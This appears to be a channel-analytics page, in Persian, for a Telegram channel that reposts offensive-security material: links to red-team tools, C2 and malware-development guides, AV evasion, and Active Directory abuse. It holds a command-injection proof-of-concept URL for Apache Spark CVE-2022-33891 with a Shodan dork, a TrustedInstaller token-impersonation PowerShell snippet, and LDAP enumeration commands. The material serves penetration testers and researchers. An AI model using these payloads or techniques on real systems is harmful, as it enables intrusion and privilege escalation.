fa
Feedback
APT

APT

رفتن به کانال در Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

نمایش بیشتر
روسيا40 381فناوری و برنامه‌ها7 769

📈 تحلیل کانال تلگرام APT

کانال APT (@apt_notes) در بخش زبانی انگلیسی بازیگری فعال است. در حال حاضر جامعه شامل 16 245 مشترک است و جایگاه 7 769 را در دسته فناوری و برنامه‌ها و رتبه 40 381 را در منطقه روسيا دارد.

📊 شاخص‌های مخاطب و پویایی

از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 16 245 مشترک جذب کرده است.

بر اساس آخرین داده‌ها در تاریخ 30 اوت, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 549 و در ۲۴ ساعت گذشته برابر 10 بوده و همچنان دسترسی گسترده‌ای حفظ شده است.

  • وضعیت تأیید: تأیید نشده
  • نرخ تعامل (ER): میانگین تعامل مخاطب 39.89% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 18.07% واکنش نسبت به کل مشترکان کسب می‌کند.
  • دسترسی پست‌ها: هر پست به طور میانگین 6 477 بازدید دریافت می‌کند. در اولین روز معمولاً 2 934 بازدید جمع‌آوری می‌شود.
  • واکنش‌ها و تعامل: مخاطبان به‌طور فعال حمایت می‌کنند؛ میانگین واکنش به هر پست 26 است.

📝 توضیح و سیاست محتوایی

نویسنده این فضا را محل بیان دیدگاه‌های شخصی توصیف می‌کند:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

به لطف به‌روزرسانی‌های پرتکرار (آخرین داده در تاریخ 31 اوت, 2026)، کانال همواره به‌روز و دارای دسترسی بالاست. تحلیل‌ها نشان می‌دهد مخاطبان به‌طور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامه‌ها تبدیل کرده‌اند.

16 245
مشترکین
+1024 ساعت
+957 روز
+54930 روز
آرشیو پست ها
APT
APT
16 245
Repost from Offensive Xwitter
😈 [ mpgn_x64, mpgn ] Me after writing ONE vulnerablity out of 10 for the pentest report 🐥 [ tweet ] Жиза же ну
😈 [ mpgn_x64, mpgn ] Me after writing ONE vulnerablity out of 10 for the pentest report 🐥 [ tweet ] Жиза же ну

APT
APT
16 245
🔍 OSINT Tools Today I'm going to talk about two excellent resources for photo editing during OSINT/IMINT. Remini: The image
🔍 OSINT Tools Today I'm going to talk about two excellent resources for photo editing during OSINT/IMINT. Remini: The image unblurring/sharpening tool could help yield better reverse image search and facial recognition result. https://app.remini.ai/ Cleanup.Pictures: One of the best online photo object removal tools I've ever seen. https://cleanup.pictures/ #OSINT #IMINT #ImageAnalysis #tools

APT
APT
16 245
💉 Apache Spark RCE (CVE-2022-33891) Apache Spark could allow an attacker to execute arbitrary commands on the system, caused
💉 Apache Spark RCE (CVE-2022-33891) Apache Spark could allow an attacker to execute arbitrary commands on the system, caused by improper input validation of code path in HttpSecurityFilter when ACSs are enabled. This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1. PoC (Sleep 10): http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash` Exploits: https://github.com/HuskyHacks/cve-2022-33891 https://github.com/W01fh4cker/cve-2022-33891 https://github.com/west-wind/CVE-2022-33891 Shodan Dorks: http.favicon.hash:856048515 #apache #spark #rce #cve

APT
APT
16 245
🔓 Unprotect A project that is meant to provide Malware Analysts and Defenders with actionable insights and detection capabil
🔓 Unprotect A project that is meant to provide Malware Analysts and Defenders with actionable insights and detection capabilities to shorten their response times. A catalog of over 200 tricks used by malware to bypass detection and protection tools. There are also rules for detecting these tricks. https://unprotect.it/ #maldev #evasion #redteam #blueteam

APT
APT
16 245
👨‍👩‍👦 Book Can Save A Life I will be very happy if this book helps at least one person to gain knowledge and learn the sci
👨‍👩‍👦 Book Can Save A Life I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented. This book is dedicated to my wife, Laura, and my children, Yerzhan and Munira. Also, thanks to everyone who is helping me through these difficult times. The proceeds from the sale of this book will be used to treat Munira (my daughter), who is currently battling for her life at a hospital in Istanbul, Turkey. The book is divided into three logical chapters: — Malware development tricks and techniques; — AV evasion tricks; — Persistence techniques. This book costs $16 but you can pay as much as you want. All money will go to the treatment of her daughter. https://cocomelonc.github.io/book/2022/07/16/mybook.html Channel author's preface: Dear cocomelonc (@abuyerzh) I wish you and your daughter health and well-being!

APT
APT
16 245
🪲 Abuse Cloudflare Zerotrust for C2 channels https://0xsp.com/offensive/red-ops-techniques/abuse-cloudflare-zerotrust-for-c2
🪲 Abuse Cloudflare Zerotrust for C2 channels https://0xsp.com/offensive/red-ops-techniques/abuse-cloudflare-zerotrust-for-c2-channels/ #c2 #cloudflare #zerotrust #redteam

APT
APT
16 245
👀 PowerView.py This is an alternative for the awesome original PowerView script. Most of the modules used in PowerView are a
👀 PowerView.py This is an alternative for the awesome original PowerView script. Most of the modules used in PowerView are available in this project. https://github.com/aniqfakhrul/powerview.py #ad #powerview #python #tools

APT
APT
16 245
Repost from Caster
Моя статья по пост-эксплуатации взломанного оборудования Cisco вышла в свет. https://habr.com/ru/post/676942/ ᛝ

APT
APT
16 245
🎲 Abusing forgotten permissions on computer objects in Active Directory The post is a dive into permissions that are set when you pre-create computer accounts the wrong way, why BloodHound missed those and how to abuse, fix, or monitor for this. Resource: 🔗 https://dirkjanm.io/abusing-forgotten-permissions-on-precreated-computer-objects-in-active-directory/ 🔗 https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/ #ad #permission #acl

APT
APT
16 245
🧦 Chisel Strike A .NET XOR encrypted cobalt strike aggressor implementation for chisel to utilize faster proxy and advanced socks5 capabilities. https://github.com/m3rcer/Chisel-Strike #cobaltstrike #socks #proxy #redteam

APT
APT
16 245
🔒 TLSX Collection of additional assets of a target CIDR/IP/HOST from TLS certificates. Features: — Fast And fully configurab
🔒 TLSX Collection of additional assets of a target CIDR/IP/HOST from TLS certificates. Features: — Fast And fully configurable TLS Connection — Multiple Modes for TLS Connection — Multiple TLS probes — Auto TLS Fallback for older TLS version — Pre Handshake TLS connection (early termination) — Customizable Cipher / SNI / TLS selection — TLS Misconfigurations — HOST, IP, URL and CIDR input — STD IN/OUT and TXT/JSON output Example: 
tlsx -u 209.133.79.0/24 -san -cn -silent -resp-only | dnsx -silent | httpx | nuclei
https://github.com/projectdiscovery/tlsx #recon #tls #grabber #tools

APT
APT
16 245
Repost from Волосатый бублик
#ad #rpc #ntlm #privesc [ Coercer ] atricle: https://github.com/p0dalirius/windows-coerced-authentication-methods There is cu
#ad #rpc #ntlm #privesc [ Coercer ] atricle: https://github.com/p0dalirius/windows-coerced-authentication-methods There is currently 15 known methods in 5 protocols. tool: https://github.com/p0dalirius/Coercer A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods.

APT
APT
16 245

APT
APT
16 245
🔴 Reversing BRc4 Red-Teaming Tool Used by APT 29 On May 19, a malicious payload associated with Brute Ratel C4 (BRc4) was uploaded to VirusTotal, where it received a benign verdict from all 56 vendors that evaluated it. Beyond the obvious detection concerns, we believe this sample is also significant in terms of its malicious payload, command and control (C2), and packaging. Blog post: https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/ Reversing the Malware by IppSec: https://youtu.be/a7W6rhkpVSM #maldev #c2 #brc4

APT
APT
16 245
🐞 Malware Development for Dummies In the age of EDR, red team operators cannot get away with using pre-compiled payloads any
🐞 Malware Development for Dummies In the age of EDR, red team operators cannot get away with using pre-compiled payloads anymore. As such, malware development is becoming a vital skill for any operator. Getting started with maldev may seem daunting, but is actually very easy. This workshop will show you all you need to get started! Slides: https://github.com/chvancooten/maldev-for-dummies/tree/main/Slides Exercises: https://github.com/chvancooten/maldev-for-dummies/tree/main/Exercises #maldev #csharp #nim

APT
APT
16 245
Repost from 1N73LL1G3NC3
Weaponizing and Abusing Hidden Functionalities Contained in Office Document Properties https://www.offensive-security.com/offsec/macro-weaponization/

APT
APT
16 245
⚔️ Maelstrom: C2 Development Blog Series We wanted to explore how C2s function in 2022, what evasive behavior's are required, and what a minimum viable C2 looks like in a world of sophisticated endpoint protection. Which gave us our goals for this blog series: - Document the internals of a minimum viable C2: * What are the ideas behind popular C2 implementations? * What are their goals and objectives? - Analyse and implement evasive behaviors: * What is required to run on a contemporary Windows system? * What is required to bypass up-to-date, modern endpoint protection? - Produce a proof-of-concept C2: * What is the minimum viable C2 for an operator in 2022? * What is required to detect this minimum viable C2? 🔗 Maelstrom: An Introduction 🔗 Maelstrom: The C2 Architecture 🔗 Maelstrom: Building the Team Server 🔗 Maelstrom: Writing a C2 Implant #maldev #c2

APT
APT
16 245
🐾 ChopHound Some scripts for dealing with any challenges that might arise when importing (large) JSON datasets into BloodHound. Blog post: https://blog.bitsadmin.com/blog/dealing-with-large-bloodhound-datasets Tool: https://github.com/bitsadmin/chophound #ad #bloodhound #cypher

APT
APT
16 245
⚙️ A Few Ways to Get TrustedInstaller Privileges GetTrustedInstaller Make an executable run with TrustedInstaller permissions
+1
⚙️ A Few Ways to Get TrustedInstaller Privileges GetTrustedInstaller Make an executable run with TrustedInstaller permissions under SYSTEM account. https://github.com/rara64/GetTrustedInstaller NtObjectManager This module adds a provider and cmdlets to access the NT object manager namespace. Example. Apply TrustedInstaller impersonation token to the current PowerShell process: 
Install-Module -Name NtObjectManager -Confirm:$false
Restart-Service TrustedInstaller
$procId = (Get-Process TrustedInstaller).Id
$token = Get-NtTokenFromProcess -ProcessId $procId
$current = Get-NtThread -Current -PseudoHandle
$ctx = $current.Impersonate($token)
$impToken = Get-NtToken -Impersonation
$impToken.Groups
https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/main/NtObjectManager #localsystem #trustedinstaller

APT
APT
16 245
🔎 ldeep In-depth LDAP enumeration utility. https://github.com/franc-pentest/ldeep Install: $ pip3 install ldeep Usage Exampl
🔎 ldeep In-depth LDAP enumeration utility. https://github.com/franc-pentest/ldeep Install: 
$ pip3 install ldeep
Usage Example: 
# Enumerate ACEs on AdminSDHolder object

$ ldeep ldap -s 'ldap://10.10.13.37' -d megacorp -u j.doe -p 'Passw0rd!' -b 'CN=System,DC=megacorp,DC=local' sddl AdminSDHolder | jq '.[].nTSecurityDescriptor.DACL.ACEs[] | select(.Type | contains("Allowed")) | .SID + " :: " + .Type'

# Convert SID to name

$ ldeep ldap -s 'ldap://10.10.13.37' -d megacorp -u j.doe -p 'Passw0rd!' from_sid <SID>
#ad #ldap